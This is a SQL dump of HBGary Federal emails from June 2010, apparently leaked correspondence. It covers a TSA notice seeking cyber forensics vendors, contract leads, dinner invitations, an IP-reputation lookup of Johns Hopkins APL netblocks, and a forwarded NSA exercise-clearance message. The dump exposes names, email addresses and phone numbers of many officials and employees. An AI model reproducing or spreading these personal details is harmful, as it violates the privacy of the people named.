tools\r\noCompliance with Security Content Automation Protocol (SCAP)•Provide company information and product history\r\noMain Products/ServicesoNumber of Years in the marketplaceoNumber of deployments, Number of federal government deployments\r\noProfessional Services capabilities and partnershipsADMINISTRATIVEAll interested parties should submit a capability statement to the TSA Office of Acquisition (OA). The capability statement should clearly explain the contractor&#39;s abilities and experience directly related to the tasks listed in this notice. Submissions shall not exceed five (5) pages in length. A company must identify its business size status, type of small business, and applicable NAICS code(s) in the capability statement. Capability statements are required to be received electronically via email to mary.hallam@dhs.gov. Subject: TSA Enterprise Cyber Forensics System, no later than June 15, 2010 at 5:00 p.m. Eastern Time. Responses received after this deadline will not be reviewed.\r\nTSA&#39;s primary point of contact is the Contracting Officer Mary Hallam, who can be reached via e-mail at mary.hallam@dhs.gov. Any questions regarding this notice shall be directed to Tonya Pruitt in writing, via email at tonya.pruitt@dhs.gov by June 8, 2010 at 5:00 p.m. Eastern Time.\r\nCompanies responding to this Sources Sought Notification are responsible for all expenses associated with responding to this Notification. (Note: TSA will not pay any costs associated with this effort).\r\nThe TSA is not seeking or accepting unsolicited proposals. Since this Sources Sought Notification is for information and planning purposes, no evaluation letters or results will be issued to respondents.\r\n\r\nContracting Office Address:\r\n601 S. 12th StreetTSA-25, 10th FloorArlington, Virginia 20598 United States \r\nPlace of Performance:\r\n601 S. 12th StreetTSA-25, 10th FloorArlington, Virginia 20598 United States \r\n\r\nPrimary Point of Contact.:\r\nMary Hallam,Contracting OfficerMary.Hallam@dhs.gov\r\nSecondary Point of Contact:\r\nTonya R Pruitt,Contract Specialisttonya.pruitt@dhs.gov\r\nPhone: 571-227-3892\r\n  \r\n\r\n\r\nGENERAL INFORMATION\r\n\r\nNotice Type:\r\nSources Sought\r\nPosted Date:\r\nJune 1, 2010\r\nResponse Date:\r\nJun 15, 2010 5:00 pm Eastern\r\nArchiving Policy:\r\nManual Archive\r\nArchive Date:\r\n-\r\nOriginal Set Aside:\r\nN/A\r\nSet Aside:\r\nN/A\r\nClassification Code:\r\nD -- Information technology services, including telecommunications services\r\nNAICS Code:\r\n541 -- Professional, Scientific, and Technical Services/541519 -- Other Computer Related Services\r\n\r\n\r\nFor Help: Federal Service Desk\r\nAccessibility\r\n    https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=a7696af665aa4a29f85a86770991b63d&amp;tab=core&amp;_cview=0\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',8243,'aaron_hbgary_com/8243.html'),(7175,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005224.M425512P14101Q2030.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Enterprise Cyber Forensics System','Yeah this is in Marias territory. &nbsp;I sent this to her last week.AaronOn Jun 8, 2010, at 11:13 AM, Ted Vera wrote:\r\n\r\n\r\n\r\nAccessibility InformationUsers of assistive technologies such as screen readers should use the following link to activate&nbsp;Accessibility Mode&nbsp;before continuing:&nbsp;Learn more and Activate accessibility mode.\r\n\r\nSkip to content\r\ntabs\r\nmain menu\r\nAccessibility Mode\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFederal Business Opportunities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBuyers:&nbsp;Login&nbsp;|&nbsp;Register\r\n&nbsp;\r\nVendors:&nbsp;Login&nbsp;|&nbsp;Register\r\n&nbsp;\r\nAccessibility\r\n\r\n\r\n\r\nEnterprise Cyber Forensics System (ECFS)Solicitation Number: ECFS\r\nAgency: Department of Homeland SecurityOffice: Transportation Security AdministrationLocation: Headquarters TSA\r\n\r\nPrint\r\n	Link\r\nCopy or Bookmark this PageCopy the url below for a direct link to this page.Bookmark this page by right-clicking&nbsp;here&nbsp;and choosing \"Add Link to Bookmarks\"\r\n\r\nNotice Details\r\nPackages\r\nInterested Vendors List\r\n\r\n\r\n\r\n\r\nOriginal Synopsis\r\nJun 01, 201010:53 am\r\n&nbsp;&nbsp;\r\n\r\n\r\nSolicitation Number:\r\nECFS\r\nNotice Type:\r\nSources Sought\r\nSynopsis:\r\n\r\nAdded:&nbsp;Jun 01, 2010 10:53 amTitle:&nbsp;The Transportation Security Administration (TSA) is seeking sources for an Enterprise Cyber Forensics System (ECFS).Description:The Transportation Security Administration (TSA) is seeking sources for Enterprise Cyber Forensics System (ECFS) technologies that are currently available in the marketplace. This is a Sources Sought Notice only and vendors will not be compensated for the information provided. No solicitation will be issued at this time.\r\nThe Transportation Security Administration (TSA) mission is to protect the Nation\'s transportation systems and to ensure freedom of movement for people and commerce. To support this mission, TSA is evaluating Enterprise Cyber Forensics System (ECFS) products/solutions that can provide the ability to scan, capture, identify, report, and resolve information technology forensics issues across the entire TSA environment. The product/solution should allow TSA forensics users to address insider threats, data leakage, IT asset misuse, anomaly detection, malicious code and activity identification, compliance verification, and e-discovery procedures. The ECFS system should also allow for the integration with ArcSight Security Information and Event Management tools and have reporting capabilities that will allow TSA leadership to access information as needed.\r\nPlease provide a detailed description on how the product works and what differentiates it in the Enterprise Cyber Forensics System market space. Please include at a minimum the following information:\r\n•Describe how your product supports legal e-discovery processes and what mechanisms are available for integrating with legal tools such as Concordance or Summation.\r\n•Describe how your product manages and performs Enterprise Forensics activities across multiple types of information technology systems. Please provide specific information on which types of systems your Enterprise Forensic system supports, what forensic and system information is available on each platform, and any real-time forensic capabilities (i.e. capturing host state information with current services, processes, and RAM) available for each platform including information including if this information can be gathered over a network connection without any end user knowledge or awareness of the forensic information capture.\r\n•Describe mechanisms that can be used to schedule periodically recurring scans. Are there any structures in your product to allow for known forensics exceptions on a system or user basis depending on Active Directory user or group membership, or other AD structure? Does any mechanism exist to establish an expected baseline for end user and system configuration (e.g. settings that do not report for specific users/machines to leverage external media, where as an exception would be identified for other users that are not external media users)?\r\n•Describe any desktop product integrations that your product supports. Please describe end point protection integration with disk and file level encryption, personal firewall/IDS systems, and integration with system and software management tools.\r\n•Please describe any functions used to manage and control information in the Enterprise Cyber Forensics System, and any other options for users to manage/track forensic information. Describe any Role Based Access Control (RBAC) structure your product supports and the activities allowed by the RBAC structure.\r\n•Describe any knowledge base or mechanism that is available for identifying suspicious system activities including any known exploits that could assist TSA personnel to quickly identify unauthorized and malicious system activity.\r\n•Describe any remediation activities your product supports to remove identified threats while sweeping across the enterprise for known malicious code.\r\n•Describe the reporting functionality that the product provides, and the extent to which it can be customized to provide unique and customizable reports. Describe reporting dashboards that are available for Sr. Management reporting and monitoring.\r\n•Describe authentication and authorization (A&amp;A) integrations and mechanisms including Single Sign On and multifactor authentication mechanisms your product supports for Active Directory environments. Describe any remote access mechanisms that your product provides.\r\n•Describe methods of data analysis the product supports including reporting, alerting, interactive browsing, base line comparisons, and ad hoc querying.\r\n•Describe how your product interfaces with other systems such as Security Information Event Management (SIEM) systems and interfaces with other business systems (i.e. Microsoft Office products, Microsoft Outlook/Exchange) as needed. Please indicate integrations with other versions of forensics software such as EnCase, AccessData, and HBGary.\r\n•Describe howforensics event information be used to create tickets in Incident and Service tracking systems by sending email messages or some other application programming interfaces to automate ticket creation for event tracking purposes?\r\n•Describe the product architecture and provide a representative diagram(s) if available. Include at a minimum the following product information:\r\noUser Interfaces&nbsp;oDirectory IntegrationoRole-based Administration\r\noPolicy Creation and ManagementoSystem Administration, Reporting, and Other features•Provide additional features/capabilities that differentiate your product from other product/solutions in the market.\r\noProduct roadmapoThird party products that have been successfully integrated including monitoring, SIEM, and legal discovery tools\r\noCompliance with Security Content Automation Protocol (SCAP)•Provide company information and product historyoMain Products/ServicesoNumber of Years in the marketplaceoNumber of deployments, Number of federal government deployments\r\noProfessional Services capabilities and partnershipsADMINISTRATIVEAll interested parties should submit a capability statement to the TSA Office of Acquisition (OA). The capability statement should clearly explain the contractor\'s abilities and experience directly related to the tasks listed in this notice. Submissions shall not exceed five (5) pages in length. A company must identify its business size status, type of small business, and applicable NAICS code(s) in the capability statement. Capability statements are required to be received electronically via email to mary.hallam@dhs.gov. Subject: TSA Enterprise Cyber Forensics System, no later than June 15, 2010 at 5:00 p.m. Eastern Time. Responses received after this deadline will not be reviewed.\r\nTSA\'s primary point of contact is the Contracting Officer Mary Hallam, who can be reached via e-mail at mary.hallam@dhs.gov. Any questions regarding this notice shall be directed to Tonya Pruitt in writing, via email at tonya.pruitt@dhs.gov by June 8, 2010 at 5:00 p.m. Eastern Time.\r\nCompanies responding to this Sources Sought Notification are responsible for all expenses associated with responding to this Notification. (Note: TSA will not pay any costs associated with this effort).\r\nThe TSA is not seeking or accepting unsolicited proposals. Since this Sources Sought Notification is for information and planning purposes, no evaluation letters or results will be issued to respondents.\r\n\r\nContracting Office Address:\r\n601 S. 12th StreetTSA-25, 10th FloorArlington, Virginia 20598&nbsp;United States&nbsp;\r\nPlace of Performance:\r\n601 S. 12th StreetTSA-25, 10th FloorArlington, Virginia 20598&nbsp;United States&nbsp;\r\n\r\nPrimary Point of Contact.:\r\nMary Hallam,Contracting OfficerMary.Hallam@dhs.gov\r\nSecondary Point of Contact:\r\nTonya R Pruitt,Contract Specialisttonya.pruitt@dhs.gov\r\nPhone: 571-227-3892\r\n&nbsp;&nbsp;\r\n\r\n\r\nGENERAL INFORMATION\r\n\r\nNotice Type:\r\nSources Sought\r\nPosted Date:\r\nJune 1, 2010\r\nResponse Date:\r\nJun 15, 2010 5:00 pm&nbsp;Eastern\r\nArchiving Policy:\r\nManual Archive\r\nArchive Date:\r\n-\r\nOriginal Set Aside:\r\nN/A\r\nSet Aside:\r\nN/A\r\nClassification Code:\r\nD -- Information technology services, including telecommunications services\r\nNAICS Code:\r\n541 -- Professional, Scientific, and Technical Services/541519 -- Other Computer Related Services\r\n\r\n\r\nFor Help: Federal Service Desk\r\nAccessibility\r\n&nbsp;&nbsp;&nbsp;&nbsp;https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=a7696af665aa4a29f85a86770991b63d&amp;tab=core&amp;_cview=0\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16510,'aaron_hbgary_com/16510.html'),(7176,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005224.M641607P14101Q2031.eml','\"Barr Aaron\" <aaron@hbgary.com>','Virtual World RFI','I sent to Chris Collins -- know any potential team mates?https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=3dc6b2e96b57d6224c93858508625258&amp;tab=core&amp;_cview=0\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',16270,'aaron_hbgary_com/16270.html'),(7177,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005224.M861653P14101Q2032.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Enterprise Cyber Forensics System','Sorry last email got kinda garbled.  Check out this new opp:https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=a7696af665aa4a29f85a86770991b63d&amp;tab=core&amp;_cview=0\r\nTed\r\n\r\n',4659,'aaron_hbgary_com/4659.html'),(7178,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005225.M104660P14101Q2033.eml','\"Barr Aaron\" <aaron@hbgary.com>','SETA contract with DARPA $220M IDIQ','https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=f8d737d1cc7b81d535d1243e2b9bce0b&amp;tab=core&amp;_cview=0\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',7180,'aaron_hbgary_com/7180.html'),(7179,'2010-06-08','\"JD Kathuria\" <jd@executivebiz.com>','/aaron@hbgary.com/new/1297005225.M422609P14101Q2034.eml','','Invite - ExecutiveBiz 4x24 Dinner Series (Group 11)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, September 29, 2010 5:30 PM-8:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: The Ritz-Carlton - Tysons (1700 Tysons Blvd, McLean, VA 221202)\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nDear 4x24 Member;\r\n&nbsp;\r\nPlease join us on Wednesday, September 29th for the 2nd dinner in the 2010 ExecutiveBiz 4x24 Dinner Series.&nbsp; \r\n&nbsp;\r\nThis will be a joint-networking dinner with another 4x24 Group (Group 4).&nbsp; The networking will be held in the Plaza Room at The Ritz-Carlton – Tysons (1700 Tysons Blvd, McLean, VA 22102) and at 6:30pm the two groups\r\nwill separate for dinner.\r\n&nbsp;\r\nIf you have any additional questions, please contact me or Nicole Kaboli at 703-226-7006 or nicole@executivebiz.com.\r\n&nbsp;\r\nThanks so much,\r\n&nbsp;\r\nJD\r\n&nbsp;\r\nJD Kathuria\r\n\r\nEditor-in-Chief | ExecutiveBiz\r\n\r\no: 703 – 226 - 7010\r\n\r\nf: 703 – 752-7454\r\n\r\nExecutiveBiz is a weekly digital magazine and membership organization. Learn more: http://www.executivebiz.com\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',11427,'aaron_hbgary_com/11427.html'),(7180,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005225.M645457P14101Q2035.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: JHU / APL','They&#39;re all pretty old as well.  It seems that APL is doing better than most at JHU, there are much more and recent hits on the full report.Ted\r\nOn Tue, Jun 8, 2010 at 10:01 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis isn’t bad, I wouldn’t give to customer, it’s pretty low\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, June 07, 2010 8:37 PM\r\nTo: Barr Aaron; mark@hbgary.com; Penny Leavy\r\nSubject: Fwd: JHU / APL\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: Mon, Jun 7, 2010 at 5:54 PM\r\nSubject: JHU / APL\r\nTo: Bob Slapnik &lt;bob@hbgary.com&gt;\r\n\r\n\r\nBob,\r\n\r\nBelow are the results for the JHU APL only.  The overall JHU query is\r\nstill running (they have a lot of IPs).\r\n\r\nNetblocks Queried:\r\n\r\n\r\n\r\n128.244.0.0;128.244.255.255\r\n\r\n\r\n\r\n\r\n\r\n204.9.128.0;204.9.135.255\r\n\r\n\r\n\r\nResults:\r\n\r\n\r\n\r\n\r\n\r\nIP : 128.244.3.58\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Mar  3 21:59:00 2009 GMT\r\n\r\nIP : 128.244.20.160\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar  7 20:59:00 2009 GMT\r\n\r\nIP : 128.244.32.117\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar 20 12:59:00 2009 GMT\r\n\r\nIP : 128.244.90.229\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Feb 10 02:59:00 2009 GMT\r\n\r\nIP : 128.244.112.152\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar  7 11:59:00 2009 GMT\r\n\r\nIP : 128.244.114.26\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar 15 20:59:00 2009 GMT\r\n\r\nIP : 128.244.116.254\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar  7 15:59:00 2009 GMT\r\n\r\nIP : 128.244.119.20\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb 23 07:59:00 2009 GMT\r\n\r\nIP : 128.244.142.6\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb 25 13:59:00 2009 GMT\r\n\r\nIP : 128.244.143.70\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb 11 14:59:00 2009 GMT\r\n\r\nIP : 128.244.160.185\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb 11 10:59:00 2009 GMT\r\n\r\nIP : 128.244.168.147\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Feb  3 01:59:00 2009 GMT\r\n\r\nIP : 128.244.178.113\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 04:59:00 2009 GMT\r\n\r\nIP : 128.244.189.5\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  1 01:59:00 2009 GMT\r\n\r\nIP : 128.244.222.229\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb 13 00:59:00 2009 GMT\r\n\r\nIP : 128.244.231.12\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Feb 24 10:59:00 2009 GMT\r\n\r\nIP : 128.244.233.226\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 12 06:59:00 2009 GMT\r\n\r\nIP : 128.244.234.16\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar  7 22:59:00 2009 GMT\r\n\r\nIP : 128.244.236.20\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Feb 28 09:59:00 2009 GMT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',2091,'aaron_hbgary_com/2091.html'),(7181,'2010-06-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005225.M875252P14101Q2036.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com,\"Ted Vera\" <ted@hbgary.com>','RE: JHU / APL','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThis isn&#8217;t bad, I wouldn&#8217;t give to customer, it&#8217;s pretty low\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, June 07, 2010 8:37 PM\r\nTo: Barr Aaron; mark@hbgary.com; Penny Leavy\r\nSubject: Fwd: JHU / APL\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: Mon, Jun 7, 2010 at 5:54 PM\r\nSubject: JHU / APL\r\nTo: Bob Slapnik &lt;bob@hbgary.com&gt;\r\n\r\n\r\nBob,\r\n\r\nBelow are the results for the JHU APL only. &nbsp;The overall JHU query is\r\nstill running (they have a lot of IPs).\r\n\r\nNetblocks Queried:\r\n\r\n\r\n\r\n128.244.0.0;128.244.255.255\r\n\r\n\r\n\r\n\r\n\r\n204.9.128.0;204.9.135.255\r\n\r\n\r\n\r\nResults:\r\n\r\n\r\n\r\n\r\n\r\nIP : 128.244.3.58\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Tue Mar &nbsp;3 21:59:00 2009 GMT\r\n\r\nIP : 128.244.20.160\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Sat Mar &nbsp;7 20:59:00 2009 GMT\r\n\r\nIP : 128.244.32.117\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Fri Mar 20 12:59:00 2009 GMT\r\n\r\nIP : 128.244.90.229\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Tue Feb 10 02:59:00 2009 GMT\r\n\r\nIP : 128.244.112.152\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Sat Mar &nbsp;7 11:59:00 2009 GMT\r\n\r\nIP : 128.244.114.26\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Sun Mar 15 20:59:00 2009 GMT\r\n\r\nIP : 128.244.116.254\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Sat Mar &nbsp;7 15:59:00 2009 GMT\r\n\r\nIP : 128.244.119.20\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Mon Feb 23 07:59:00 2009 GMT\r\n\r\nIP : 128.244.142.6\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Wed Feb 25 13:59:00 2009 GMT\r\n\r\nIP : 128.244.143.70\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Wed Feb 11 14:59:00 2009 GMT\r\n\r\nIP : 128.244.160.185\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Wed Feb 11 10:59:00 2009 GMT\r\n\r\nIP : 128.244.168.147\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Tue Feb &nbsp;3 01:59:00 2009 GMT\r\n\r\nIP : 128.244.178.113\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Mon Feb &nbsp;9 04:59:00 2009 GMT\r\n\r\nIP : 128.244.189.5\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Sun Mar &nbsp;1 01:59:00 2009 GMT\r\n\r\nIP : 128.244.222.229\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Fri Feb 13 00:59:00 2009 GMT\r\n\r\nIP : 128.244.231.12\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Tue Feb 24 10:59:00 2009 GMT\r\n\r\nIP : 128.244.233.226\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Thu Feb 12 06:59:00 2009 GMT\r\n\r\nIP : 128.244.234.16\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Sat Mar &nbsp;7 22:59:00 2009 GMT\r\n\r\nIP : 128.244.236.20\r\nConfidence : 10%\r\nEvents :\r\n&nbsp; &nbsp; &nbsp; &nbsp;Spam : Sat Feb 28 09:59:00 2009 GMT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8893,'aaron_hbgary_com/8893.html'),(7182,'2010-06-08','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','/aaron@hbgary.com/new/1297005226.M177112P14101Q2037.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Need Clearances passed ASAP for ReBl','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Yes, I faxed the visit cert per the attached\r\ninstructions.&nbsp; If they say they still do not have them, let me know and I will\r\nresend.\r\n\r\n&nbsp;\r\n\r\nBill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 08, 2010 11:03 AM\r\nTo: Choate, William R (TASC)\r\nSubject: Fwd: Need Clearances passed ASAP for ReBl\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis was sent yesterday though right?\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Liddy,\r\nCorinne C&quot; &lt;ccliddy@nsa.gov&gt;\r\nDate: June 8, 2010 10:32:33 AM EDT\r\nTo: &lt;aaron@hbgary.com&gt;, &lt;edward.nugent@pacom.mil&gt;, &lt;ewshees@nsa.gov&gt;, &lt;xxxtesmit2@nsa.gov&gt;, &quot;Sullivan,\r\nMatthew W&quot; &lt;mwsull3@nsa.gov&gt;,\r\n&lt;Harry.Wearne@gchq.gsi.gov.uk&gt;,\r\n&lt;karen.danesi@gchq.gsi.gov.uk&gt;,\r\n&lt;david.borden@lackland.af.mil&gt;,\r\n&lt;aclark@mitre.org&gt;, &lt;adam.long@ogn.af.mil&gt;, &lt;Michael.Sohn@ic.fbi.gov&gt;, &lt;Donna.Martin@disa.mil&gt;, &lt;Ann.Barron-DiCamillo@disa.mil&gt;,\r\n&quot;Toll, Michael &quot; &lt;mjtoll@nsa.gov&gt;,\r\n&lt;nziring@thecouch.ncsc.mil&gt;,\r\n&lt;windsor_stephen@bah.com&gt;,\r\n&lt;mark.debels@dc3.mil&gt;,\r\n&quot;Carbin, Jeffery J.&quot; &lt;j.carbin@radium.ncsc.mil&gt;,\r\n&lt;HeatherRT@gmail.com&gt;, &lt;Michael.Bingham@osd.mil&gt;, &lt;skbohli@missi.ncsc.mil&gt;, &lt;rjlarso@missi.ncsc.mil&gt;,\r\n&quot;Rogers, Bruce J&quot; &lt;bjroger@nsa.gov&gt;,\r\n&quot;Graham, Kimberly A&quot; &lt;kagraha@nsa.gov&gt;,\r\n&lt;Peter.Parker@g2-inc.com&gt;\r\nCc: &lt;rebl@nsa.gov&gt;, &quot;Scott\r\nK. Brown&quot; &lt;sbrown@dewnet.ncsc.mil&gt;\r\nSubject: Need Clearances passed ASAP for ReBl\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIf\r\nyou are receiving this email it is because Johns Hopkins University Applied\r\nPhysics Lab (JHU-APL) has not received your clearances yet.&nbsp; Those\r\nclearances need to be sent ASAP.&nbsp; The directions on passing your clearance\r\nare in the attached document.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIf\r\nthere are any issues please let me know.\r\n\r\n&nbsp;\r\n\r\nR,\r\n\r\nCorinne\r\n\r\n\r\n&nbsp;\r\n\r\n_______________________________________________________________________________\r\n\r\nCorinne Liddy\r\n\r\nRed/Blue Team Planner\r\n\r\n410.854.8964\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12381,'aaron_hbgary_com/12381.html'),(7183,'2010-06-08','\"JD Kathuria\" <jd@executivebiz.com>','/aaron@hbgary.com/new/1297005226.M458857P14101Q2038.eml','','Invite - ExecutiveBiz 4x24 Dinner Series (Group 11)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Thursday, November 18, 2010 5:30 PM-8:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 2941 Restaurant (2941 Fairview Park Drive, Falls Church, VA 22042)\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nDear 4x24 Member;\r\n&nbsp;\r\nPlease join us on Thursday, November 18th for the 3rd dinner of the ExecutiveBiz 4x24 Dinner Series.&nbsp; \r\n&nbsp;\r\nThis will be a joint-networking dinner with another 4x24 Group (Group 2).&nbsp; The networking will be held in the Koi Room at 2941 Restaurant (2941 Fairview Park Drive, Falls Church, VA 22042) and the two groups will\r\nseparate for dinner at 6:30pm.\r\n&nbsp;\r\nThe Chairman for your group is Bill Varner (President, Mission, Cyber &amp; Technology Solutions Group at ManTech).\r\n&nbsp;\r\nIf you have any additional questions, please contact me or Nicole Kaboli at 703-226-7006 or nicole@executivebiz.com.\r\n&nbsp;\r\nThanks so much,\r\n&nbsp;\r\nJD\r\n&nbsp;\r\nJD Kathuria\r\n\r\nEditor-in-Chief | ExecutiveBiz\r\n\r\no: 703 – 226 - 7010\r\n\r\nf: 703 – 752-7454\r\n\r\nExecutiveBiz is a weekly digital magazine and membership organization. Learn more: http://www.executivebiz.com\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',10204,'aaron_hbgary_com/10204.html'),(7184,'2010-06-08','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','/aaron@hbgary.com/new/1297005226.M754816P14101Q2039.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Need Clearances passed ASAP for ReBl','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Actually I sent it to 2 different fax numbers\r\nbecause one was always busy.&nbsp; I have receipts that show both were 